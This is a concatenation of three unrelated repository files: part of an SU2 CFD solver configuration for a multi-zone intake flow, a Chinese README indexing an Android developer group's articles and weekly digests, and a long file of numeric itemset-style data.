Free-stream Turbulence Intensity FREESTREAM_TURBULENCEINTENSITY = 0.1 % % Free-stream Turbulent to Laminar viscosity ratio FREESTREAM_TURB2LAMVISCRATIO = 100.0 % % Free-stream option to choose if you want to use Density (DENSITY_FS) or Temperature (TEMPERATURE_FS) to initialize the solution FREESTREAM_OPTION= TEMPERATURE_FS % %Init option to choose between Reynolds (default) or thermodynamics quantities for initializing the solution (REYNOLDS, TD_CONDITIONS) INIT_OPTION= TD_CONDITIONS % % % -------------------- BOUNDARY CONDITION DEFINITION --------------------------% % % Euler wall boundary marker(s) (NONE = no marker) MARKER_EULER= ( intake_sidewall, component_sidewall_1, component_sidewall_2, component_sidewall_3, component_sidewall_4 ) % % Riemann boundary marker(s) % Format inlet: ( marker, TOTAL_CONDITIONS_PT, Total Pressure, Total Temperature, Flow dir-x, Flow dir-y, Flow dir-z) % Format outlet: ( marker, type, STATIC_PRESSURE, Static Pressure, 0.0, 0.0, 0.0, 0.0) % MARKER_RIEMANN= (intake_upper_inlet, STATIC_SUPERSONIC_INFLOW_PT, 95750, 288.15, 3.0, 0.0, 0.0, intake_lower_inlet, STATIC_SUPERSONIC_INFLOW_PT, 95750, 288.15, 1.5, 0.0, 0.0, outlet_interface_4 STATIC_PRESSURE, 95750.0, 0.0, 0.0, 0.0, 0.0 ) % % Zone interaction boundary definition MARKER_ZONE_INTERFACE= ( intake_interface, inlet_interface_1, outlet_interface_1, inlet_interface_2, outlet_interface_2, inlet_interface_3, outlet_interface_3, inlet_interface_4 ) % MARKER_FLUID_INTERFACE= ( intake_interface, inlet_interface_1, outlet_interface_1, inlet_interface_2, outlet_interface_2, inlet_interface_3, outlet_interface_3, inlet_interface_4 ) % % KIND_INTERPOLATION= WEIGHTED_AVERAGE % % % % % ------------- COMMON PARAMETERS DEFINING THE NUMERICAL METHOD ---------------% % % Numerical method for spatial gradients (GREEN_GAUSS, WEIGHTED_LEAST_SQUARES) NUM_METHOD_GRAD= WEIGHTED_LEAST_SQUARES % % Courant-Friedrichs-Lewy condition of the finest grid CFL_NUMBER= 5.0 % % Adaptive CFL number (NO, YES) CFL_ADAPT= NO % % Parameters of the adaptive CFL number (factor down, factor up, CFL min value, CFL max value ) CFL_ADAPT_PARAM= ( 0.3, 0.5, 1.0, 1000.0) % % % % ------------------------ LINEAR SOLVER DEFINITION ---------------------------% % % Linear solver or smoother for implicit formulations (BCGSTAB, FGMRES, SMOOTHER) LINEAR_SOLVER= FGMRES % % Preconditioner of the Krylov linear solver (ILU, LU_SGS, LINELET, JACOBI) LINEAR_SOLVER_PREC= LU_SGS % % Min error of the linear solver for the implicit formulation LINEAR_SOLVER_ERROR= 1E-4 % % Max number of iterations of the linear solver for the implicit formulation LINEAR_SOLVER_ITER= 5 % % % % -------------------------- MULTIGRID PARAMETERS -----------------------------% % % Multi-Grid Levels (0 = no multi-grid) MGLEVEL= 0 % % Multigrid pre-smoothing level MG_PRE_SMOOTH= ( 1, 2, 3, 3 ) % % Multigrid post-smoothing level MG_POST_SMOOTH= ( 0, 0, 0, 0 ) % % Jacobi implicit smoothing of the correction MG_CORRECTION_SMOOTH= ( 0, 0, 0, 0 ) % % Damping factor for the residual restriction MG_DAMP_RESTRICTION= 0.75 % % Damping factor for the correction prolongation MG_DAMP_PROLONGATION= 0.75 % % % % ----------------------- SLOPE LIMITER DEFINITION ----------------------------% % % Coefficient for the limiter VENKAT_LIMITER_COEFF= 0.05 % % Freeze the value of the limiter after a number of iterations LIMITER_ITER= 999999 % % % % -------------------- FLOW NUMERICAL METHOD DEFINITION -----------------------% % % Convective numerical method (JST, ROE, AUSM, HLLC) CONV_NUM_METHOD_FLOW= ROE % % Monotonic Upwind Scheme for Conservation Laws (TVD) in the flow equations. % Required for 2nd order upwind schemes (NO, YES) MUSCL_FLOW= YES % % Entropy fix coefficient (0.0 implies no entropy fixing, 1.0 implies scalar artificial dissipation, 0.001 default) ENTROPY_FIX_COEFF= 0.001 % % 2nd and 4th order artificial dissipation coefficients JST_SENSOR_COEFF= ( 0.5, 0.02 ) % % Slope limiter (NONE, VENKATAKRISHNAN, VENKATAKRISHNAN_WANG, % BARTH_JESPERSEN, VAN_ALBADA_EDGE) SLOPE_LIMITER_FLOW= NONE % % Time discretization (RUNGE-KUTTA_EXPLICIT, EULER_IMPLICIT, EULER_EXPLICIT) TIME_DISCRE_FLOW= EULER_IMPLICIT % % Relaxation coefficient % % % --------------------------- CONVERGENCE PARAMETERS --------------------------% % Convergence criteria (CAUCHY, RESIDUAL) CONV_CRITERIA= RESIDUAL % % Flow functional for the Residual criteria (RHO, RHO_ENERGY) % % % Min value of the residual (log10 of the residual) CONV_RESIDUAL_MINVAL= -16 % % Start convergence criteria at iteration number CONV_STARTITER= 10 % % Number of elements to apply the criteria CONV_CAUCHY_ELEMS= 100 % % Epsilon to control the series convergence CONV_CAUCHY_EPS= 1E-6 % % % % % ------------------------- INPUT/OUTPUT INFORMATION --------------------------% % % Mesh input file MESH_FILENAME= pipe.su2 % % Mesh input file format (SU2, CGNS) MESH_FORMAT= SU2 % % Mesh output file MESH_OUT_FILENAME= su2mesh_per.su2 % % Restart flow input file SOLUTION_FILENAME= restart_flow.dat % % Output file format (PARAVIEW, TECPLOT, STL) TABULAR_FORMAT= CSV % % Output file convergence history (w/o extension) CONV_FILENAME= history % % Output file restart flow RESTART_FILENAME= restart_flow.dat % % Output file flow (w/o extension) variables VOLUME_FILENAME= flow % % Output file surface flow coefficient (w/o extension) SURFACE_FILENAME= surface_flow % % Writing solution file frequency WRT_SOL_FREQ= 50 % % Writing convergence history frequency WRT_CON_FREQ= 1
{ "pile_set_name": "Github" }
#Open软件开发小组 ## 简介 >Open软件开发小组,我们专注于Android开发,不仅每周发布原创技术文章,而且收录并精选优秀Android技术文章,宗旨在打造移动开发技术学习的入口, 让我们互相学习,共同成长; # 技术专题 + [[Android技术专题]APK瘦身看这一篇文章就够了](https://github.com/OpenDevTeam/OpenBox/blob/master/topic/%5BAndroid%E6%8A%80%E6%9C%AF%E4%B8%93%E9%A2%98%5DAPK%E7%98%A6%E8%BA%AB%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B0%B1%E5%A4%9F%E4%BA%86.md) + [[Android技术专题]自定义View从入门到上天](https://github.com/OpenDevTeam/OpenBox/blob/master/topic/%5BAndroid%E6%8A%80%E6%9C%AF%E4%B8%93%E9%A2%98%5D%E8%87%AA%E5%AE%9A%E4%B9%89View%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E4%B8%8A%E5%A4%A9.md) + [[Android技术专题]应用开发进阶必经之路之性能优化](https://github.com/OpenDevTeam/OpenBox/blob/master/topic/%5BAndroid%E6%8A%80%E6%9C%AF%E4%B8%93%E9%A2%98%5D%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91%E8%BF%9B%E9%98%B6%E5%BF%85%E7%BB%8F%E4%B9%8B%E8%B7%AF%E4%B9%8B%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.md) # 每周精选 > 2016-08 + [【第1期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/08/%5B%E7%AC%AC%E4%B8%80%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E7%B2%BE%E9%80%89_%E4%BA%95%E6%96%B9%E5%93%A5.md) + [【第2期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/08/%5B%E7%AC%AC%E4%BA%8C%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E7%B2%BE%E9%80%89.md) + [【第3期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/08/%5B%E7%AC%AC%E4%B8%89%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E7%B2%BE%E9%80%89.md) > 2016-09 + [【第4期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/09/%5B%E7%AC%AC%E5%9B%9B%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E7%B2%BE%E9%80%89.md) + [【第5期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/09/%5B%E7%AC%AC%E4%BA%94%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第6期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/09/%5B%E7%AC%AC%E5%85%AD%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第7期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/09/%5B%E7%AC%AC%E4%B8%83%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) > 2016-10 + [【第8期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/10/%5B%E7%AC%AC%E5%85%AB%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第9期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/10/%5B%E7%AC%AC%E4%B9%9D%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第10期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/10/%5B%E7%AC%AC%E5%8D%81%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) > 2016-11 + [【第11期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/11/%5B%E7%AC%AC%E5%8D%81%E4%B8%80%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第12期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/11/%5B%E7%AC%AC%E5%8D%81%E4%BA%8C%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第13期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/11/%5B%E7%AC%AC%E5%8D%81%E4%B8%89%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第14期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/11/%5B%E7%AC%AC%E5%8D%81%E5%9B%9B%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) > 2016-12 + [【第15期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/12/%5B%E7%AC%AC%E5%8D%81%E4%BA%94%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第16期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/12/%5B%E7%AC%AC%E5%8D%81%E5%85%AD%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第17期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/12/%5B%E7%AC%AC%E5%8D%81%E4%B8%83%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第18期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/12/%5B%E7%AC%AC%E5%8D%81%E5%85%AB%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第19期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2016/12/%5B%E7%AC%AC%E5%8D%81%E4%B9%9D%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) > 2017-01 + [【第20期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第21期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E4%B8%80%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第22期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/01/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E4%BA%8C%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) > 2017-02 + [【第23期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/02/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E4%B8%89%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第24期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/02/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E5%9B%9B%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第25期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/02/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E4%BA%94%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) > 2017-03 + [【第26期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/03/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E5%85%AD%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) + [【第27期】Android技术资源每周精选](https://github.com/OpenDevTeam/OpenBox/blob/master/weekly/2017/03/%5B%E7%AC%AC%E4%BA%8C%E5%8D%81%E4%B8%83%E6%9C%9F%5DAndroid%E6%8A%80%E6%9C%AF%E8%B5%84%E6%BA%90%E6%AF%8F%E5%91%A8%E7%B2%BE%E9%80%89.md) # 资源分类 + [四大组件](https://github.com/OpenDevTeam/OpenBox/tree/master/article/components) + [View&动画](https://github.com/OpenDevTeam/OpenBox/tree/master/article/view%26anim) + [并发&异步](https://github.com/OpenDevTeam/OpenBox/tree/master/article/thread%26asyn) + [数据库](https://github.com/OpenDevTeam/OpenBox/tree/master/article/database) + [程序框架](https://github.com/OpenDevTeam/OpenBox/tree/master/article/frame) + [设计模式](https://github.com/OpenDevTeam/OpenBox/tree/master/article/design) + [网络请求](https://github.com/OpenDevTeam/OpenBox/tree/master/article/http) + [性能优化](https://github.com/OpenDevTeam/OpenBox/tree/master/article/optimaization) + [单元测试](https://github.com/OpenDevTeam/OpenBox/tree/master/article/unitTest) + [Bugs](https://github.com/OpenDevTeam/OpenBox/tree/master/article/bugs) + [工具使用](https://github.com/OpenDevTeam/OpenBox/tree/master/article/tools) + [源码解析](https://github.com/OpenDevTeam/OpenBox/tree/master/article/sourceCode) + [其他](https://github.com/OpenDevTeam/OpenBox/tree/master/article/others) # 联系我们 + Email:open_dev_team@163.com + 微信公众号:Open软件开发小组 ![专注Android开发,欢迎关注](http://open.weixin.qq.com/qr/code/?username=open_dev)
{ "pile_set_name": "Github" }
53 2503 11 1 2 13 0 1 3 13 0 1 1 2 13 40 1 2 13 50 1 3 13 28 29 1 2 13 14 1 2 49 50 1 3 49 28 29 1 2 49 21 1 3 49 40 41 1 4 49 28 29 30 1 1 20 1 2 20 29 1 4 27 28 29 30 1 4 27 28 29 3 1 4 27 28 2 3 1 4 27 1 2 3 1 4 27 40 41 42 1 4 27 28 29 42 1 4 27 28 41 42 1 2 14 3 1 1 50 1 3 1 2 22 1 2 40 22 1 3 40 41 16 1 1 51 1 1 15 1 2 15 43 1 2 15 5 1 3 42 43 17 1 3 31 32 17 1 2 16 17 1 3 32 17 18 1 2 23 24 1 2 44 24 1 2 33 24 1 2 6 24 1 1 52 1 3 17 36 37 1 3 17 18 37 1 3 34 35 25 1 3 7 8 25 1 5 7 8 9 10 11 1 2 24 10 1 2 24 25 1 3 24 25 26 1 2 46 19 1 3 46 25 26 1 2 35 19 1 3 35 25 26 1 2 8 19 1 3 8 25 26 1 2 18 19 1 2 37 26 1 2 10 26 1 1 48 1 1 39 1 1 38 1 4 13 0 2 3 1 4 13 1 2 3 1 3 13 0 15 1 4 13 0 2 42 1 4 13 0 41 42 1 4 13 1 41 42 1 3 13 14 42 1 4 13 0 2 31 1 4 13 0 30 31 1 4 13 0 41 31 1 3 13 14 31 1 4 13 0 2 4 1 5 13 0 2 3 4 1 4 13 0 30 4 1 4 13 0 41 4 1 4 13 1 3 4 1 3 13 14 4 1 4 13 50 3 4 1 3 13 14 22 1 3 13 21 22 1 3 13 50 22 1 4 13 0 30 43 1 4 13 0 41 43 1 4 13 14 42 43 1 4 13 50 3 43 1 4 13 50 42 43 1 4 13 0 30 32 1 4 13 21 31 32 1 4 13 14 31 32 1 4 13 14 42 32 1 4 13 50 3 32 1 4 13 50 31 32 1 4 13 50 42 32 1 4 13 14 4 5 1 4 13 14 31 5 1 4 13 14 42 5 1 4 13 50 3 5 1 5 13 50 3 4 5 1 4 13 50 31 5 1 4 13 50 42 5 1 5 13 0 1 2 16 1 3 13 14 16 1 3 13 50 16 1 4 13 15 43 44 1 4 13 14 31 44 1 4 13 14 42 44 1 4 13 50 31 44 1 4 13 50 42 44 1 5 13 50 42 43 44 1 3 13 0 51 1 2 13 51 1 5 13 0 1 22 33 1 4 13 14 31 33 1 4 13 21 43 33 1 4 13 50 22 33 1 4 13 50 31 33 1 5 13 50 31 32 33 1 5 13 50 42 43 33 1 7 13 0 2 3 4 5 6 1 7 13 0 1 2 4 5 6 1 5 13 0 1 22 6 1 5 13 14 4 5 6 1 4 13 15 5 6 1 4 13 21 4 6 1 4 13 21 32 6 1 4 13 21 43 6 1 4 13 40 22 6 1 5 13 50 3 4 6 1 4 13 50 22 6 1 5 13 50 31 32 6 1 5 13 50 42 43 6 1 6 13 0 2 3 4 23 1 4 13 0 15 23 1 5 13 0 30 31 23 1 5 13 0 41 42 23 1 4 13 2 22 23 1 4 13 14 22 23 1 4 13 21 4 23 1 5 13 28 30 31 23 1 4 13 40 4 23 1 4 13 40 31 23 1 4 13 40 42 23 1 4 13 50 22 23 1 7 13 0 2 3 4 5 45 1 6 13 0 1 2 16 45 1 5 13 0 1 22 45 1 7 13 0 41 42 43 44 45 1 5 13 14 4 44 45 1 6 13 14 42 43 44 45 1 4 13 21 32 45 1 4 13 21 43 45 1 4 13 40 16 45 1 4 13 40 22 45 1 4 13 50 16 45 1 4 13 50 22 45 1 5 13 50 31 32 45 1 5 13 50 42 43 45 1 7 13 0 2 3 4 5 34 1 6 13 0 1 2 16 34 1 6 13 0 1 22 33 34 1 7 13 0 30 31 32 33 34 1 7 13 0 41 42 43 44 34 1 5 13 14 4 33 34 1 5 13 14 22 33 34 1 6 13 14 31 32 33 34 1 6 13 14 42 43 44 34 1 6 13 14 42 32 33 34 1 5 13 14 43 33 34 1 4 13 21 32 34 1 7 13 28 30 31 32 33 34 1 4 13 50 16 34 1 5 13 50 31 32 34 1 7 13 0 1 3 4 5 7 1 8 13 0 1 3 4 5 6 7 1 6 13 0 1 2 16 7 1 6 13 0 1 22 6 7 1 7 13 0 1 31 32 33 7 1 7 13 0 1 42 43 44 7 1 5 13 14 4 6 7 1 6 13 14 4 5 6 7 1 5 13 14 22 6 7 1 6 13 14 31 32 6 7 1 6 13 14 42 43 44 7 1 6 13 14 42 5 6 7 1 7 13 28 3 4 5 6 7 1 7 13 28 29 31 32 33 7 1 4 13 40 16 7 1 4 13 50 16 7 1 5 13 50 22 6 7 1 6 13 50 42 43 44 7 1 6 13 0 1 3 4 17 1 5 13 0 1 22 17 1 6 13 0 1 31 32 17 1 6 13 0 1 42 43 17 1 4 13 14 16 17 1 4 13 14 22 17 1 5 13 14 42 43 17 1 6 13 28 29 31 32 17 1 4 13 40 4 17 1 4 13 50 16 17 1 4 13 50 22 17 1 5 13 50 31 32 17 1 5 13 50 42 43 17 1 6 13 0 1 22 45 46 1 7 13 0 1 31 32 33 46 1 7 13 0 1 42 43 44 46 1 7 13 0 1 2 44 45 46 1 6 13 14 4 5 45 46 1 5 13 14 22 45 46 1 6 13 14 31 32 45 46 1 6 13 14 42 43 45 46 1 7 13 14 42 43 44 45 46 1 4 13 14 44 46 1 7 13 28 3 4 5 6 46 1 6 13 28 29 16 45 46 1 7 13 28 29 31 32 33 46 1 5 13 50 16 45 46 1 5 13 50 22 45 46 1 8 13 0 1 3 4 5 6 35 1 7 13 0 1 31 32 33 35 1 6 13 14 4 5 6 35 1 6 13 14 4 33 34 35 1 5 13 14 5 34 35 1 5 13 14 22 23 35 1 6 13 14 22 33 34 35 1 6 13 14 31 32 33 35 1 6 13 14 31 33 34 35 1 7 13 14 31 32 33 34 35 1 5 13 14 32 34 35 1 7 13 14 42 43 44 45 35 1 7 13 14 42 43 44 34 35 1 7 13 14 42 43 33 34 35 1 7 13 14 42 32 33 34 35 1 4 13 21 23 35 1 7 13 28 3 4 5 6 35 1 6 13 28 29 16 34 35 1 7 13 28 29 31 32 33 35 1 7 13 28 42 43 44 45 35 1 5 13 40 22 23 35 1 5 13 50 16 34 35 1 3 49 50 3 1 4 49 1 2 3 1 2 49 15 1 4 49 1 2 42 1 3 49 50 42 1 4 49 1 2 31 1 3 49 50 31 1 4 49 50 3 4 1 4 49 1 3 4 1 5 49 1 2 3 4 1 4 49 40 3 4 1 4 49 1 2 22 1 3 49 50 22 1 4 49 1 3 43 1 4 49 40 42 43 1 5 49 1 2 3 43 1 5 49 1 41 42 43 1 4 49 50 42 43 1 5 49 40 41 42 43 1 4 49 1 3 32 1 4 49 1 42 32 1 5 49 1 2 3 32 1 5 49 1 30 31 32 1 4 49 50 31 32 1 4 49 50 42 32 1 5 49 40 41 31 32 1 4 49 1 3 5 1 4 49 50 3 5 1 4 49 1 31 5 1 4 49 1 42 5 1 4 49 40 4 5 1 4 49 40 42 5 1 5 49 50 3 4 5 1 5 49 1 3 4 5 1 4 49 50 31 5 1 4 49 50 42 5 1 5 49 40 41 4 5 1 4 49 1 2 16 1 3 49 50 16 1 5 49 1 3 4 44 1 4 49 1 31 44 1 4 49 1 42 44 1 4 49 40 4 44 1 4 49 40 31 44 1 4 49 40 42 44 1 5 49 50 3 4 44 1 6 49 1 2 3 4 44 1 5 49 50 42 43 44 1 5 49 40 41 43 44 1 6 49 40 41 42 43 44 1 2 49 51 1 5 49 1 3 4 33 1 4 49 1 22 33 1 4 49 1 31 33 1 5 49 1 42 43 33 1 4 49 40 4 33 1 4 49 40 31 33 1 5 49 50 3 32 33 1 4 49 15 32 33 1 5 49 50 31 32 33 1 5 49 50 42 32 33 1 6 49 40 41 42 43 33 1 6 49 40 41 31 32 33 1 5 49 1 3 4 6 1 4 49 1 22 6 1 5 49 1 31 32 6 1 5 49 1 42 43 6 1 4 49 40 4 6 1 5 49 40 31 32 6 1 5 49 50 3 5 6 1 4 49 15 5 6 1 5 49 50 31 32 6 1 5 49 50 42 5 6 1 4 49 1 31 23 1 4 49 1 42 23 1 4 49 50 4 23 1 4 49 50 22 23 1 5 49 50 3 5 45 1 4 49 1 22 45 1 5 49 1 31 32 45 1 5 49 1 42 43 45 1 4 49 15 5 45 1 5 49 40 31 32 45 1 5 49 3 43 44 45 1 5 49 15 43 44 45 1 4 49 50 22 45 1 5 49 50 31 44 45 1 5 49 50 42 44 45 1 5 49 50 3 5 34 1 5 49 1 31 32 34 1 5 49 50 3 44 34 1 4 49 15 5 34 1 4 49 15 44 34 1 5 49 40 22 33 34 1 6 49 40 42 43 44 34 1 4 49 50 16 34 1 5 49 15 32 33 34 1 5 49 50 31 33 34 1 6 49 50 31 32 33 34 1 6 49 50 42 43 44 34 1 6 49 50 42 32 33 34 1 5 49 50 43 33 34 1 6 49 1 3 4 5 7 1 5 49 50 3 5 7 1 5 49 1 2 5 7 1 5 49 50 3 33 7 1 5 49 50 3 44 7 1 4 49 15 5 7 1 5 49 15 5 6 7 1 4 49 15 33 7 1 4 49 15 44 7 1 6 49 40 4 5 6 7 1 6 49 40 31 32 33 7 1 6 49 40 42 43 44 7 1 5 49 50 22 6 7 1 5 49 50 32 33 7 1 5 49 31 32 33 7 1 5 49 31 5 6 7 1 5 49 50 43 44 7 1 5 49 42 5 6 7 1 5 49 1 3 4 17 1 5 49 1 31 32 17 1 5 49 1 42 43 17 1 4 49 21 4 17 1 5 49 40 31 32 17 1 5 49 40 42 43 17 1 4 49 50 16 17 1 4 49 50 22 17 1 5 49 50 42 43 17 1 5 49 50 3 33 46 1 5 49 50 3 44 46 1 4 49 1 44 46 1 5 49 15 5 6 46 1 4 49 15 33 46 1 4 49 15 44 46 1 5 49 15 44 45 46 1 5 49 21 16 45 46 1 6 49 28 29 16 45 46 1 7 49 28 29 31 32 33 46 1 7 49 28 29 43 44 45 46 1 6 49 40 4 5 6 46 1 6 49 40 31 32 33 46 1 6 49 40 42 43 44 46 1 7 49 40 41 43 44 45 46 1 5 49 50 22 45 46 1 5 49 50 3 23 35 1 5 49 50 3 33 35 1 5 49 1 2 33 35 1 5 49 1 33 34 35 1 5 49 15 5 6 35 1 4 49 15 33 35 1 5 49 15 33 34 35 1 5 49 15 44 45 35 1 5 49 21 16 34 35 1 6 49 28 29 16 34 35 1 6 49 40 4 5 6 35 1 5 49 40 16 34 35 1 5 49 40 22 23 35 1 6 49 40 31 32 33 35 1 6 49 40 41 32 33 35 1 7 49 40 41 32 33 34 35 1 7 49 40 42 43 44 45 35 1 5 49 50 22 23 35 1 5 49 50 32 34 35 1 5 49 50 3 23 8 1 5 49 15 5 6 8 1 6 49 15 5 6 7 8 1 5 49 15 33 34 8 1 5 49 15 44 45 8 1 7 49 28 29 30 5 6 8 1 7 49 28 29 30 6 7 8 1 6 49 28 29 16 7 8 1 8 49 28 29 30 32 33 34 8 1 7 49 28 29 43 44 45 8 1 6 49 40 4 5 6 8 1 6 49 40 41 5 6 8 1 5 49 40 6 7 8 1 7 49 40 41 32 33 34 8 1 7 49 40 41 43 44 45 8 1 5 49 50 5 6 8 1 6 49 50 32 33 34 8 1 5 49 50 33 7 8 1 5 49 50 44 7 8 1 2 20 15 1 4 20 2 3 4 1 3 20 21 4 1 2 20 22 1 4 20 2 3 43 1 4 20 2 3 32 1 3 20 15 32 1 4 20 30 31 32 1 4 20 2 3 5 1 4 20 30 31 5 1 3 20 21 16 1 5 20 2 3 43 44 1 4 20 30 43 44 1 2 20 51 1 4 20 2 43 33 1 4 20 2 4 6 1 4 20 2 32 6 1 4 20 2 43 6 1 4 20 3 5 6 1 4 20 31 32 6 1 3 20 22 23 1 3 20 21 23 1 4 20 29 4 23 1 4 20 29 30 23 1 4 20 29 31 23 1 4 20 41 42 23 1 4 20 2 16 45 1 4 20 2 32 45 1 4 20 2 43 45 1 5 20 21 43 44 45 1 4 20 29 16 45 1 4 20 41 5 45 1 4 20 41 32 45 1 4 20 2 32 34 1 6 20 2 3 4 5 34 1 6 20 2 3 4 33 34 1 6 20 2 31 32 33 34 1 5 20 30 32 33 34 1 5 20 21 32 33 34 1 5 20 21 43 33 34 1 4 20 29 16 34 1 6 20 29 31 32 33 34 1 5 20 21 31 33 34 1 4 20 41 5 34 1 5 20 41 43 44 34 1 5 20 2 43 44 7 1 6 20 21 4 5 6 7 1 5 20 3 5 6 7 1 6 20 3 4 5 6 7 1 5 20 21 32 33 7 1 5 20 21 43 44 7 1 5 20 21 31 6 7 1 4 20 29 16 7 1 3 20 15 17 1 5 20 2 32 33 46 1 5 20 2 43 44 46 1 6 20 21 4 5 6 46 1 6 20 21 4 44 45 46 1 5 20 21 5 45 46 1 5 20 21 32 33 46 1 5 20 31 32 33 46 1 5 20 21 43 44 46 